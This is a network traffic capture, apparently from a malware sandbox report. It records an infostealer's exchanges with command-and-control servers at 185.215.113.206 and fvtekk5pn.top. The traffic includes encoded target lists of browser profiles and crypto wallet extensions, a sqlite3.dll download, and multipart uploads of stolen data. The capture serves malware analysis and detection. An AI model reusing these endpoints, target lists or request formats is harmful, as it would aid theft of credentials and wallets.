55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 24, 2024 10:24:48.595480919 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 24, 2024 10:24:48.597140074 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIEBAECAKKFCBFIEGCBK Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 45 42 41 45 43 41 4b 4b 46 43 42 46 49 45 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 66 64 30 32 33 38 34 63 38 35 31 30 61 65 33 63 34 33 34 30 37 36 66 30 63 39 33 61 34 63 39 32 65 65 62 36 64 34 33 34 34 63 31 61 66 39 64 36 34 63 61 34 65 35 66 62 65 66 34 35 36 61 37 33 39 66 35 30 36 66 38 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 42 41 45 43 41 4b 4b 46 43 42 46 49 45 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 42 41 45 43 41 4b 4b 46 43 42 46 49 45 47 43 42 4b 2d 2d 0d 0a Data Ascii: ------GIEBAECAKKFCBFIEGCBKContent-Disposition: form-data; name="token"3fd02384c8510ae3c434076f0c93a4c92eeb6d4344c1af9d64ca4e5fbef456a739f506f8------GIEBAECAKKFCBFIEGCBKContent-Disposition: form-data; name="message"plugins------GIEBAECAKKFCBFIEGCBK--
Nov 24, 2024 10:24:49.036890984 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:48 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 24, 2024 10:24:49.036936998 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 24, 2024 10:24:49.036947966 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 24, 2024 10:24:49.037040949 CET	672	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Nov 24, 2024 10:24:49.037059069 CET	1236	IN	Data Raw: 64 47 6c 6a 59 58 52 76 63 6e 78 70 62 47 64 6a 62 6d 68 6c 62 48 42 6a 61 47 35 6a 5a 57 56 70 63 47 6c 77 61 57 70 68 62 47 70 72 59 6d 78 69 59 32 39 69 62 48 77 78 66 44 42 38 4d 48 78 43 61 58 52 33 59 58 4a 6b 5a 57 35 38 62 6d 35 6e 59 32 Data Ascii: dGljYXRvcnxpbGdjbmhlbHBjaG5jZWVpcGlwaWphbGprYmxiY29ibHwxfDB8MHxCaXR3YXJkZW58bm5nY2Vja2JhcGViZmltbmxuaWlpYWhrYW5kY2xibGJ8MXwwfDB8S2VlUGFzc1hDfG9ib29uYWtlbW9mcGFsY2dnaG9jZm9hZG9maWRqa2trfDF8MHwwfERhc2hsYW5lfGZkamFtYWtwZmJiZGRmamFvb2lrZmNwYXBqb2h
Nov 24, 2024 10:24:49.037070990 CET	1236	IN	Data Raw: 63 47 35 72 62 57 52 71 63 47 39 6a 5a 32 74 6f 59 58 77 78 66 44 42 38 4d 48 78 44 62 32 6c 75 61 48 56 69 66 47 70 6e 59 57 46 70 62 57 46 71 61 58 42 69 63 47 52 76 5a 33 42 6b 5a 32 78 6f 59 58 42 6f 62 47 52 68 61 32 6c 72 5a 32 56 6d 66 44 Data Ascii: cG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXBobGRha2lrZ2VmfDF8MHwwfE11bHRpdmVyc1ggRGVGaSBXYWxsZXR8ZG5nbWxibGNvZGZvYnBkcGVjYWFkZ2ZiY2dnZmpmbm18MXwwfDB8RnJvbnRpZXIgV2FsbGV0fGtwcGZkaWlwcGhmY2NlbWNpZ25oaWZwamthcGZiaWhkfDF8MHw
Nov 24, 2024 10:24:49.045808077 CET	492	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 76 62 57 46 68 59 6d 4a 6c 5a 6d 4a 74 61 57 6c 71 5a 57 52 75 5a 33 42 73 5a 6d 70 74 62 6d 39 76 63 48 42 69 59 32 78 72 61 33 77 78 66 44 42 38 4d 48 78 50 63 47 56 75 54 57 46 7a 61 79 42 58 59 57 78 73 5a 58 Data Ascii: IFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8cGVuamxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVBhbCBXYWxsZXR8YXBlbmtmYmJwbWhpaGVobWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFdhbGxldHxqaWlkaWFhbGlobW1
Nov 24, 2024 10:24:49.047240019 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIEHIDHJDBFIIECAKECB Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 45 48 49 44 48 4a 44 42 46 49 49 45 43 41 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 66 64 30 32 33 38 34 63 38 35 31 30 61 65 33 63 34 33 34 30 37 36 66 30 63 39 33 61 34 63 39 32 65 65 62 36 64 34 33 34 34 63 31 61 66 39 64 36 34 63 61 34 65 35 66 62 65 66 34 35 36 61 37 33 39 66 35 30 36 66 38 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 49 44 48 4a 44 42 46 49 49 45 43 41 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 49 44 48 4a 44 42 46 49 49 45 43 41 4b 45 43 42 2d 2d 0d 0a Data Ascii: ------GIEHIDHJDBFIIECAKECBContent-Disposition: form-data; name="token"3fd02384c8510ae3c434076f0c93a4c92eeb6d4344c1af9d64ca4e5fbef456a739f506f8------GIEHIDHJDBFIIECAKECBContent-Disposition: form-data; name="message"fplugins------GIEHIDHJDBFIIECAKECB--
Nov 24, 2024 10:24:49.491802931 CET	335	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:49 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 24, 2024 10:24:50.189234018 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEHIIIJDAAAAAAKECBFB Host: 185.215.113.206 Content-Length: 6575 Connection: Keep-Alive Cache-Control: no-cache
Nov 24, 2024 10:24:50.189234018 CET	6575	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 66 64 30 32 33 Data Ascii: ------IEHIIIJDAAAAAAKECBFBContent-Disposition: form-data; name="token"3fd02384c8510ae3c434076f0c93a4c92eeb6d4344c1af9d64ca4e5fbef456a739f506f8------IEHIIIJDAAAAAAKECBFBContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 24, 2024 10:24:51.259255886 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 10:24:51.555212021 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 24, 2024 10:24:52.050971985 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:51 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 24, 2024 10:24:52.050981998 CET	224	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Nov 24, 2024 10:24:52.050997019 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49904	34.116.198.130	80	1964	C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:24:48.490942955 CET	642	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 463 Content-Type: multipart/form-data; boundary=------------------------lf4U80cBnnAUpS7ErSqOlC Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 6c 66 34 55 38 30 63 42 6e 6e 41 55 70 53 37 45 72 53 71 4f 6c 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 5a 6f 68 69 6a 75 63 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 40 ef 0f 51 39 59 55 1f f2 c8 18 1d 0c 63 fd 6f 37 26 f1 f6 bc 1a e6 b9 b1 08 cf f1 c3 ba 42 80 2a 30 87 52 93 80 6f d9 72 10 02 6b 51 f6 4d 43 70 d8 4a 58 cd bc 63 99 e1 d8 39 26 1a f1 37 fd eb ce d6 a3 4c 14 5e ac ca 3c c5 80 2e c1 8e e4 7b bf 0e b4 06 a5 f8 52 95 cb d9 4d aa 6d 67 34 07 50 28 97 28 85 50 88 77 fe 57 85 c0 39 00 f1 3b 3e c8 9a b7 ae 04 c5 db b1 29 0b 2c 4b 63 c3 af e8 36 26 2c af 10 72 61 f6 9a da 60 35 94 cf d1 40 73 da 26 06 0b b3 6f 31 55 35 b8 39 f0 79 00 98 91 95 d9 bf e9 fc 8f 0a 42 de 48 b8 bd 5e f4 [TRUNCATED] Data Ascii: --------------------------lf4U80cBnnAUpS7ErSqOlCContent-Disposition: form-data; name="file"; filename="Zohijuc.bin"Content-Type: application/octet-stream@Q9YUco7&B*0RorkQMCpJXc9&7L^<.{RMmg4P((PwW9;>),Kc6&,ra`5@s&o1U59yBH^\"okkZ!q#.)PO1u#&3rR@ f4--------------------------lf4U80cBnnAUpS7ErSqOlC--
Nov 24, 2024 10:24:49.910312891 CET	271	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Sun, 24 Nov 2024 09:24:49 GMT content-type: text/plain; charset=utf-8 content-length: 2 x-ratelimit-limit: 30 x-ratelimit-remaining: 29 x-ratelimit-reset: 1732442090 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49915	34.116.198.130	80	1964	C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:24:51.591170073 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 78189 Content-Type: multipart/form-data; boundary=------------------------pIiVpWC38ns0UZObGVZUrA Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 70 49 69 56 70 57 43 33 38 6e 73 30 55 5a 4f 62 47 56 5a 55 72 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 56 75 73 75 79 6f 67 6f 70 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a db d9 58 ce dd a7 9f 12 33 9f a6 29 26 9a 6b 43 e9 2e b3 98 09 14 4a 23 3c b5 b7 1b c0 e9 fa 30 ad 5f d4 90 67 bf d5 95 42 d5 20 30 a0 9d 8c 3b a6 93 ee c0 72 79 ba d3 4d 23 c2 21 19 61 83 e9 0e 8d 4c 43 76 e3 ba d5 82 e6 c0 87 cf 1d f7 d1 cc 76 c7 ba 90 c7 92 4c 99 7c d7 5d af 36 89 b4 b8 6c 05 03 95 2c f6 29 9e 64 ad 4b 8f b6 65 53 e3 66 5e 3d 6d 78 a6 cf ad 0e 39 ed de c8 d2 e0 1f 29 30 00 24 c2 90 30 6d 41 ce 70 fc 51 a3 20 ba d3 9d 05 83 55 74 42 6f 7f ee b5 81 c0 e8 3a 72 06 08 27 6e d6 d3 a7 ad 87 9d 1e c8 00 a9 [TRUNCATED] Data Ascii: --------------------------pIiVpWC38ns0UZObGVZUrAContent-Disposition: form-data; name="file"; filename="Vusuyogop.bin"Content-Type: application/octet-streamX3)&kC.J#<0_gB 0;ryM#!aLCvvL\|]6l,)dKeSf^=mx9)0$0mApQ UtBo:r'n Em[8~f(+~.sW;#m~n#<3C`x7HyeMrBR#(}^c4`PQeYre?1;5/ST`$iYtjZu=E(zSQ?^gej?Q"<`YUy]UGGs0o>&xQ+IiYAzPnUc%w4oX.F-iF`5n1q@VBxd"EW>DvzIDOyH5+fKX-ROv}#R9s=d;95QLe0'mTEO_B`8PCv.#ysdW25*Cw]Du@\RDw-U"4}Lq~bdi4s_93)k3>r.(-LmhXxYXSu3#ztB'rXkJJmMk=^;^.OW\|sgXP+)dW6T2qMg! [TRUNCATED]
Nov 24, 2024 10:24:51.711216927 CET	4944	OUT	Data Raw: 89 2c da 1e 6c 2f 63 87 74 7c ff 40 e8 e3 36 7a 54 ba 1f 2a f2 fb ee c4 63 a5 f7 ca 65 23 b9 d3 a7 60 d8 32 9e e4 ba 27 92 93 b7 24 72 6c 61 06 91 27 d7 88 21 26 dc 04 60 aa a7 46 3e cf 4a 32 82 80 1c e6 c8 63 d4 4c f1 de f5 96 cc ab 18 1c 1f f8 Data Ascii: ,l/ct\|@6zT*ce#`2'$rla'!&`F>J2cL=(EN8t _W5}A\|EaoNSkuOiS,"{Z2FY70V%R;$;zLdOQ}Wnf`P:GtxJZveXL't1LNH
Nov 24, 2024 10:24:51.711466074 CET	4944	OUT	Data Raw: 3a bb 00 4a e4 70 bc c5 05 a6 77 f0 34 9a f8 6d 38 40 c6 15 87 82 1c 41 e1 eb e6 d6 50 1f 7e 11 66 f4 4f 14 43 00 3f 7f 8d 49 86 06 29 3b 25 82 81 fe 75 88 12 1f dd 7c 9b 6a a0 f5 94 8f 12 47 b9 32 ca 20 cb 49 45 c4 68 59 ce c7 93 d2 4f 92 4c 36 Data Ascii: :Jpw4m8@AP~fOC?I);%u\|jG2 IEhYOL6MIH6q!]h:p"Z=L8z#kd?_<`UZm9#B6NZupFLCvZf Z-Zj(8i0LdkL\;_i_T0)Lt
Nov 24, 2024 10:24:51.711515903 CET	4944	OUT	Data Raw: 55 24 e4 e3 86 76 67 fc 28 6f 95 62 09 8f c5 b4 bc 89 62 cd 3a 0a 9a ce 95 a3 70 35 9b c6 a3 0f 57 20 72 b8 cf a5 39 04 71 30 fd 3d 87 fa 3a 07 00 bb 12 8c 33 73 cc 41 8c 03 ea fd f8 ab 6f 4b 0c 9e 72 69 c6 8d b0 34 75 a8 fe e3 f7 38 ce 8d 11 ac Data Ascii: U$vg(obb:p5W r9q0=:3sAoKri4u8wcHA[XrXg[:eKLO_bX5)[w%{fTh/?(!93;Wp1}0*WjMvH;evso`H0mhIZHz=L
